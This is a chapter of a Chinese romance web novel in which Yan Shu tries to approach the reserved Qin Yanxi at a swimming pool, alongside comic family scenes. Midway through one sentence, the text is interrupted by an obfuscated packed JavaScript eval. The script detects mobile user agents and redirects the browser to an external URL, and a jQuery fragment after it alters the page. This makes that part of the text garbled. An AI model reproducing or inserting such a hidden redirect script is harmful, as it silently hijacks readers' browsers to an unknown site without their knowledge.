言书不服气:“他手上没戴戒指!” 路墨:“……” 言书握拳,信誓旦旦:“下次见到他,如果他还是单身,我一定要问他的联系方式!” 路墨:“加油。哦对了,我亲戚送给我两套口红,到时候送你一套。” 言书的注意力被转移:“真的吗?什么色号!” …… 三个小时后,洛依回来了。 言书立刻从沙发上弹起来,小跑过去:“嫂子,处理得怎么样了?” “解决了,你没吓坏吧?” 言书摇头:“没有,我心态可好了,公道自在人心。” 洛依确认言书神色无异后,才道:“那就好。” 言书咽了口唾沫:“那个……开迈巴赫的先生,他叫什么啊?” 洛依阅历丰富,自然能看出那人非富即贵,而且他全程戴着口罩和墨镜,显然是不想暴露身份。 言书年纪小,心思单纯,还是少和这样的人扯上关系比较好。 “好了,不提这个了。”洛依转移话题,“今晚想吃什么?嫂子给你做顿好吃的。” 言书见嫂子不想说,只好作罢,亦趋亦步跟在嫂子身后:“……随便,嫂子做的我都爱吃。” 13. 第十三章 秦砚奚出现在相亲角的停车场是意外。 早上八点,他去了周临岐的娱乐公司。 昨晚低烧未退,今早又被好友一通电话催来公司,秦砚奚浑身上下都透着股倦意。见好友迟迟不来,他便靠在沙发上闭目养神。 周临岐临时有事,半小时后,才拿着一碟资料进来,看到秦砚奚这副模样,打趣道:“哟,秦总这是怎么了?相亲太激烈?” 秦砚奚睁开眼,摘下墨镜,往旁边一搁,紧接着戴上金丝眼镜:“你很闲?找我有什么事。” 周临岐将文件扔给他,用恶心的腔调说:“想你了。” 秦砚奚自小有个毛病,一旦感冒发烧,眼睛见光就会不受控制地流泪。私人医生诊断后说,这是某种罕见的过敏反应,除了避光静养别无他法。 落地窗的遮光帘已经拉上大半,只留一道缝隙透进些许光线。即便如此,秦砚奚的眼眶仍泛不自然的红,睫毛上挂着细小的泪珠。 周临岐笑容灿烂:“我这不是关心你吗?听说路夫人最近给你安排了不少千金小姐,怎么样,有看上的吗?” 秦砚奚似乎实在难受,从口袋里取出眼药水,摘下眼镜,仰起头,左手拇指和食指撑开眼皮,右手将药水滴进去。 淡蓝色的液体混着泪水滑落,在他冷白的皮肤上留下一道湿痕,秦砚奚用纸巾擦掉眼药水,“有话直说,没事我先走了。” 周临岐吹了声口哨,“秦总还是一如既往哭得梨花带雨啊。” 高中时期的秦砚奚,是温大出了名的风云人物。 身高将近一米九,肩宽腿长,能将最平平无奇的校服穿成高定。一张脸又生得极好,鼻梁高挺,眉眼深邃,皮肤又白,往人群里一站,无数目光不请自来。可偏偏,他有个不尴不尬的毛病,一感冒就流泪。 而且不是普通的流泪,是止不住的流泪,哭起来眼眶会泛红,不擦掉的话,睫毛就会湿漉漉地黏在一起,我见犹怜。 起初没人知道这事。 秦砚奚身体素质好,学习之余也不忘记锻炼,因而很少生病。 直到高三那年冬天,秦砚奚重感冒,硬撑着去上课。班主任在讲台上滔滔不绝,他坐在最后一排,强忍不适记笔记。 当时他没有戴墨镜,后来眼泪不受控地往外涌,顺着脸颊往下滑。 老师讲到一半,突然停下,关切地问:“砚奚,你没事吧?” 整个班级齐刷刷回头。 只见秦砚奚冷着一张脸,面无表情地擦泪,刚擦完,新的眼泪又掉下来。 教室一片死寂。 三秒后,第一排传来一声小小的:“卧槽……” 然后,卧槽声此起彼伏,连绵不绝。 从此,秦砚奚“男版林黛玉”的外号就传开了。 周临岐是他的高中同学兼室友,那一次他看到秦砚奚下巴还有一滴泪水,出于好意伸手用拇指替他抹掉。 “你干什么?”秦砚奚别开脸,不带一点犹豫。 嫌弃的表情让他至今都记忆犹新。 周临岐当时干笑两声:“那什么……我就是想看看,秦黛玉的眼泪是不是也''似泣非泣含露目''……” 话音未落,秦砚奚已经抄起一本厚重的数学练习册朝他砸了过去。 多年过去,如今周临岐又挨了一记文件砸 秦砚奚冷脸坐在沙发上,闻言,他冷冷扫了周临岐一眼:“闭嘴。” 周临岐再次把文件扔到秦砚奚怀里,啧啧两声:“看来是没戏啊。不过也是,就你这张冷脸,人家姑娘没被你吓跑就不错了。” 秦砚奚耐心告罄:“说正事。” 周临岐收敛笑意,“新电影的项目书,你看看。” 秦砚奚翻开文件,才看两页,眼药水没起效,眼泪滑落,顺着高挺的鼻梁蜿蜒至下颌。 无奈,他再次换上墨镜。 周临岐憋笑:“要不我读给你听?” “不必。”秦砚奚快速浏览完文件,合上扔回茶几,“这种事不用问我。” “你可是最大的投资人,选角什么的,总得让你过目吧。” “我对影视圈没兴趣。”秦砚奚站起身,黑色西装裤包裹的长腿迈开两步,“只要不亏钱,随你怎么折腾。” 周临岐耸耸肩,也不勉强。他转身从柜子里取出一个精致的礼盒,推到秦砚奚面前:“喏,给你的。” “什么东西?” “口红,我们公司新签的女明星代言的,限量款。给你妹妹路墨的,小姑娘应该喜欢。” 秦砚奚没接,过了一会儿才开口:“只有一份?” 周临岐一愣:“怎么,你还有两个妹妹?” 秦砚奚没说话。 周临岐露出恍然大悟的表情,啧啧称奇:“有,有,有,只要秦总想要,要多少有多少。秦总是打算哄美人开心吗?不愧是我秦总。” 秦砚奚皱眉:“别阴阳怪气。” 周临岐哈哈大笑,不再多问,转身又取一份递给他:“拿去吧,祝秦总早日抱得美人归。” 秦砚奚懒得解释,拿起礼盒起身离开。 回到家,秦砚奚把口红给路墨后,又出门处理公事。 正巧,目的地在相亲角附近。 想起自己的资料还被挂在相亲角,他打算去撕了一了百了。 秦砚奚靠近相亲角,远远看到相亲角人头攒动。刚走近,就瞥见一个鬼鬼祟祟的熟悉身影。 言书。 她身着简单的T恤和牛仔裤,手里拿着一张纸,正偷偷摸摸地往相亲角的公告栏上贴。 她一边贴一边东张西望,生怕被人发现,完全没注意到站在视野盲区的秦砚奚。 秦砚奚站在原地,眉峰轻挑,没急着上前。 言书贴完资料,退后两步看了看,露出一个明媚的笑容,眼睛弯成了月牙。 然后拍了拍手,像是完成了什么了不起的任务,兴高采烈地转身离开。 等她蹦蹦跳跳走远,秦砚奚才上前查看。 只见自己的征婚信息已经被替换。 看到上面的内容,秦砚奚发自内心笑了。 看来他过来真是多余的,已经有人帮他处理好了。 秦砚奚原本打算撕掉,一劳永逸,但想了想,还是收回了手。 留着,说不定能挡掉不少麻烦。 * 秦砚奚让助理过来处理车的事,言书走后没多久,他也离开了。 推开家门,客厅热闹非凡。 大伯秦明远坐在沙发上,手里端着杯茶,正和管家说着什么。 他12岁的儿子秦帅则趴在茶几旁,见秦砚奚进门,立刻举起一个盒子:“哥,我爸给你带了好多礼物!” 茶几上堆得满满当当,有补品、有茶叶,还有几盒颜色可疑、包装神秘的黑色药丸,看起来不像是什么正常保健品。 “砚奚回来了?”秦明远放下茶杯,笑容满面地站起身,大步走过来,一把揽住秦砚奚的肩膀,“来来来,咱爷俩聊聊。” 秦砚奚被他半拖半拽地带进书房。 门一关,秦明远脸上的笑容瞬间收敛,神色严肃地打量着他:“你是不是身体不好?” 秦砚奚不觉得大伯的问题有多复杂,点头:“嗯。” “频率高吗?一周几次?” 秦砚奚以为大伯在问自己感冒的频率,便平静道:“不用担心,一年一次。” 秦明远脸色一变,如丧考妣,他猛一拍大腿,一副哀痛欲绝的模样。 “砚奚啊,你才多大啊,就这样了?” 作为一名男科医生,秦明远从没想过自己亲外甥会出现那方面的问题。 不幸中的万幸是,可好在还剩“一次”,还有希望。 秦明修捂着胸口,又确认一遍:“真的是一年一次?” 秦砚奚不太理解秦明修为什么像是在听讣告,语气依旧冷静:“最近太忙,抵抗力差了点。” 哪承想,秦明远的表情更加悲痛,“砚奚啊……你这样不行啊!” 说完,他急匆匆地小跑出门,不到两分钟,又气喘吁吁地跑回来,手里捧着一堆包装花哨的补药。 “砚奚啊,大伯虽然是学西医的,但在某些方面中医确实有独到之处。尤其是这种咳咳,肾虚体弱的问题,你可不要讳疾忌医啊。” 秦砚奚抬头,对上大伯忧心忡忡的目光:“大伯,您是不是误会了什么?” 秦明远一副“你别再装了我都懂”的语气,语重心长地拍了拍他肩膀:“砚奚啊,这种事没什么好害羞的。男人嘛,还是得懂得调节自己,你一年一次,这真的不行。” 意识到两人不在谈同一件事,秦砚奚脸色黑如锅底:“您以为我在说什么?” 秦明远迟疑:“你不是在说那个勃.起功能障碍!?”说完还意有所指地往秦砚奚腿间瞟了一眼。 秦砚奚失语:“不是。” 秦明远:“那就是性.欲障碍?” 秦砚奚:“……” 秦明远忧心忡忡:“那就是射.精异常了。” 秦砚奚忍无可忍:“大伯,您想多了。感冒,我说的是感冒。” 秦明远讪笑两声,“是吗?大伯这不是关心你吗,你看你都快三十了,连个女朋友都没有,大伯担心你那个…生锈啊。” 秦砚奚语气凉淡:“您放心,我身体很好,体力也好。” 秦明远“哦哦”应着,神色分明写着“我不信”。 …… 秦砚奚在路婉回来之前送走了秦明远,否则两个人一起催他相亲,他实在招架不住。 但大伯走是走了,却留下一个拖油瓶,秦帅。 这孩子跟块牛皮糖似的。 秦明远走后,他拉着秦砚奚的袖子一阵摇,撒娇道:“哥,明天游泳馆有亲子活动,我爸没空,你能陪我去吗?” “亲子活动?” 秦帅立马解释:“我知道哥哥你不能接受公共泳池,你不用下水的,就站在岸上看着就行,主办方说只要是家长陪同就能拿限量版的泳镜!” 秦砚奚:“你不是我儿子。” 秦帅秒切委屈脸:“可是你是我哥呀,哥哥也是家人,主办方说得很模糊,没有具体定义!” 秦砚奚面无表情:“不去。想游泳,我带你去私人泳池。泳镜我给你买两个。” 秦帅摇头:“不行,我跟小美约好了,我不能失约!” “小美是谁?” “我同桌!她说要拿情侣款泳镜,我答应她啦!” 秦砚奚消化完这句话的分量,提醒道:“……你才十二。” “哥,我要是现在失约,她以后都不会相信男人了。” “……”秦砚奚疲惫地闭了闭眼,觉得自己已经没有什么好说的了。 这个家,迟早得让人给逼疯。 …… 第二天,游泳馆人满为患。 因为是周日,泳池里挤满家长和孩子,嬉闹声此起彼伏。 秦砚奚戴着口罩和墨镜,穿着一身休闲装,面无表情地走进场馆。 他一出现,便引来不少目光。 毕竟这天气下还穿成这样的人实在罕见,更别提他高挑挺拔的身形和身上那股与周围氛围格格不入的清冷气质。 秦砚奚无视周围的视线,在休息区挑了个相对安静的角落坐下,视线平淡地投向泳池。 泳池中央,秦帅正和一个扎着双马尾的小女孩一同玩水。 小女孩名叫娄美菡,听小帅说是他学校里的“班花”,小跟班不少,秦帅首当其冲。现在秦帅正奋力展示他的“蛙泳技巧”,不时回头看对方有没有在看他。 秦砚奚:“……” 要是路婉在这,准会说一句:“老的不开窍,小的早开窍。” …… 另一边,言书也陪着言柚来游泳。 她平时很少来泳池,一年也就来一次。今天是言柚拉着她来,她才勉强答应。 言书随意游了一圈,准备上岸,水珠顺着她湿漉漉的发梢滚落,滑过肩颈。 她抬手抹了把脸,目光随意一扫,不经意地停在了休息区的一角。 迈巴赫!!! 男人坐在那儿,依旧墨镜口罩遮面,身形挺拔,双腿随意交叠,即使不露真容,也能一眼看出他与人群的区别。 清贵从容的气场,任何浮躁喧嚣都扰不到他分毫。 言书的心脏“咚”地跳了一下,紧接着“砰砰砰”地快了几拍。 她有些不敢相信自己的运气,昨天才在停车场见过,今天居然又遇上了,这不是缘分是什么? 而且迈巴赫没有戴婚戒,身边也没女人陪着,显然和自己一样,是被家里人推来陪亲戚家的小孩的。 言书紧张地咬了咬唇,脑子飞速运转。 机会难得,错过可就真错过了。 可,要怎么接近他才不显得刻意? 言书快速翻找起各类小说桥段,片刻后,眸中一亮。 不如就用最经典的一招。 她假装路过,然后“哎呀呀”一声脚下一滑,直接摔进迈巴赫怀里。 迈巴赫肯定会扶住她,温柔又担忧问:“小姐,你没事吧?” 她便娇弱一笑,轻声说:“我没事……” 再装出一副惊讶模样,“咦,好巧,是你?” 迈巴赫大概率也会一愣,然后温和回应:“真巧。” 这时,她只需低头一笑,声音软糯又带着些试探开口:“不好意思,你女朋友不会介意吧?” 如果迈巴赫说有女朋友,那她就立刻退出,不打扰,潇洒转身。 可如果他说没有…… 言书几乎能预见那画面了。 阳光透过玻璃天窗洒落在她湿漉漉的发丝上,她跌进迈巴赫怀里,仰头和他对视,水珠顺着她的下巴滑落,迈巴赫替她抹去,气氛暧昧又自然。 天时地利人和。 她要是现在不上,简直对不起自己的脑子! 当然,以上只是言书的幻想。 不愧是开迈巴赫的男人,连坐着发呆都这么贵气逼人。 言书泡在水里,双手撑在泳池边沿,心里吵吵闹闹,两个人格一直打架。 她的脑子里,一会儿是小说男女主“湿身邂逅”的扑倒戏码,一会儿又浮现出社死现场的各类翻车警告。 要是真过去假摔,对方没接住,自己脑袋磕出包来,头破血流,那得多痛?多丢人? 毕竟小说里都是骗人的,现实中的地心引力只会让人社死,根本不会有什么浪漫邂逅。 言书盯着泳池水面出神。 半个小时,眼神都没变过焦点。 玛丽苏偶遇的桥段碰到现实十有八九不起作用呢。 言书决定放弃狗血的桥段,回归现实。 她可以坦坦荡荡走过去,如果迈巴赫没有女朋友,她就可以借昨天感谢的名义加他好友,问他要联系方式,然后请他吃顿饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180342|180926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 不至于太突兀,毕竟昨晚他帮了她,理由合情合理。 可万一人家根本不记得她了呢。 万一昨晚那点“帮助”对迈巴赫来说根本无足轻重。 那她的主动,会不会显得太明显,太唐突? 可要是不出手,她就又一次眼睁睁看着机会从手边溜走。 言书想做主角,她不想成为甘愿坐等命运安排的“工具人女配”,昨天没问迈巴赫的姓名和联系方式,已经让她后悔莫及了,现在怎么能又一次错失良机? 所以…要不去吧? 但关键时候,她又怕了。 就这样,言书陷在循环往复的胡思乱想里,一遍一遍推演,反反复复,来来回回。 脑子有点发胀,到最后也没能演出一个满意的结局。 简而言之,用一个词来形容:怂。 水面映着阳光一闪一闪,浮动的金在言书眼底跳舞,但她已经看不清了,满脑子都是“我要不要上去搭话”。 从秦砚奚的角度看去,言书探出水面的脸很小,眼睛睁得很大,好像在盯着他看,可仔细一看,她目光涣散,更像是在发呆。 秦砚奚进游泳馆第一眼就看到言书了,只是他没有上前打招呼。 可半小时过去,言书依旧维持同一个姿势不动,脸上的颜色却一分分地深了起来。 秦砚奚原以为言书是在偷懒,或者只是沉浸在水的浮力里放空,可渐渐地,红色从她耳尖蔓延到脸颊,染出一片过分的薄红。 秦砚奚眉头微蹙,心下生疑。 他再度朝泳池方向看去,言书的脸越来越红,开始有些不对劲,不会出什么事了? 思及此,秦砚奚站起身,朝泳池边走去。 脚步声越来越近,言书毫无反应,整个人沉在自己设想的“人生错过清单”里出不来。 秦砚奚居高临下看她,视线定在她脸上,停了两秒。 言书五官清秀柔软,睫毛纤长,湿润的水汽凝在眼睫上,眼睛瞪得圆圆的,又空空的,一点防备都没有。 白皙的皮肤在阳光下透出细腻的光,像是抹了一层软糯糯的糯米粉,耳后那点细绒绒的碎发都显得特别乖巧。 她的耳朵很红。 不止是耳垂,连耳根也是红的。 看样子似乎在偷偷盘算着什么见不得光的小心思。 秦砚奚蹲下身,没有出声,低头看了她几秒,眼底漫出一点不易察觉的笑意。 接着他伸手,将指尖探入水中,拢了一捧水。 然后,带着一点不疾不徐的恶意,将水甩到了她脸上。 几滴冰凉的水珠猝不及防打在言书脸颊,像是一场小型雷阵雨突袭了慵懒的夏日午后。 “谁啊!”言书猛地一颤,掌心一拍水面,溅出几滴水花,“偷袭我!” 眼神聚焦后,她抬手抹了把脸,抬头定睛一看,就看到秦砚奚半蹲在她面前。 他和昨天一样,整个人裹得严严实实,黑色T恤被水溅湿了一小块,贴在锁骨处,隐约能看到紧实的肌肉线条。 言书眨了眨眼,一时间没反应过来,还以为自己在做梦。 迈巴赫主动过来找她!! 她好像还在一片消毒水的味道之中闻到了一股淡淡的花香! 花香诶,好骚,好喜欢! 言书心里万马奔腾,直到秦砚奚说了一句,“抱歉,还以为你出事了。” 言书才回过神来,“不不不……” 还好她这张死嘴没把内心想法说出来。 不然就尴尬了。 言书磕磕巴巴地开口:“是、是你啊……好巧,你怎么在这?” 秦砚奚的声音透过口罩传来,低沉平静:“看你漂了半小时。” 言书:“……” 她耳根一热,脑中飞快调动全部存活细胞为自己找理由:“我……我在思考人生。” “怎么不上来?” 秦砚奚话音刚落,言书脑袋一抽,来不及和大脑打个商量,嘴就先动了:“因为我没力气了,上不来。” 说完,她顿了顿,脸皮一热,破罐子破摔般地小声补了句:“你可以……扶我一把吗? 秦砚奚沉默了两秒:“好。” 他说完,便朝她伸出一只手。 言书看着秦砚奚的手,心跳加快。 昨天就注意到了,迈巴赫的手真的很大。 手指修长,骨节分明,掌心宽厚,指腹还有一层薄薄的茧,像是常年握笔或者健身留下的痕迹。 言书小心翼翼地把自己的手覆上去,指尖触到他掌心的瞬间,一股温热传来,惊得她差点缩回手。 好暖。 秦砚奚微微用力,轻松将言书从水里拉起来。言书借着他的力道撑上岸,湿漉漉的脚踩在瓷砖上,滑了一下。 “小心。”秦砚奚地扶住了她的手腕。 言书站稳后,立刻收回手,脸颊发烫:“我、我可以自己起来……你离我远一点,小心我弄湿你的衣服。” 秦砚奚没说什么,站起身后退了一步,目光却没移开。 言书穿了一件黑色泳衣,款式简单,但衬得皮肤愈加白皙。她身材纤细,腰肢不盈一握,但该有肉的地方却一点没少,曲线流畅而自然,不是过分丰满的类型,但莫名让人移不开眼。 上岸后,言书晃了晃脑袋,几滴水珠顺着她湿漉漉的发尾滚落,掠过锁骨,最后缓缓没入领口。 秦砚奚喉结微动,忽然移开视线。 他第一次有种眼睛不知道往哪看的冲动。 言书没注意到他的异样,她在纠结迈巴赫为什么一直戴着口罩和墨镜。 是怕被人认出来? 还是单纯不喜欢露脸? 又或者,他长得并不好看? 言书张了张嘴,想问,但又觉得两人还不熟,贸然打探隐私不太礼貌,最终还是把话咽了回去。 “那个.……”她打破沉默,“昨天的事,谢谢你。” 秦砚奚“嗯”了一声,不咸不淡地应着,没再说别的。 “您感冒好点了吗?” “嗯。” 言书绞尽脑汁找话题:“你……经常来游泳馆吗?” “第一次。” 也是,像迈巴赫这种人,怎么可能会跑到公共泳池里和一群人下饺子。说不准家里泳池大得连游一圈都得开导航。 “啊,我也是。”言书没话找话,“一年才来一次。” 今年第一来就遇见你,缘分也太给面子了。 但她没敢把这句话说出来,只悄悄咽进心里,压住。 秦砚奚看了她一眼,夸道:“游得不错。” 言书一愣,随即反应过来他是在夸她,原本就因为害羞而发红的耳根此刻更像是被太阳烤了一层,通红通热:“谢、谢谢……” 两人之间又陷入沉默,空气变得黏稠。 言书偷瞄迈巴赫,发现他的头正对泳池右前方,似乎并没有继续聊天的意思。 言书纠结,要不要趁这个还不算尴尬的时候问问他的名字,问问他有没有女朋友? 还是……再等等? 万一他觉得她唐突怎么办? 可不问,又怕错过了这个千载难逢的机会。 言书咬了咬唇,正准备鼓起勇气开口。 却没想到,一声如平地惊雷般的童音炸响: “爸爸!!!” 清脆洪亮,响彻半个泳池。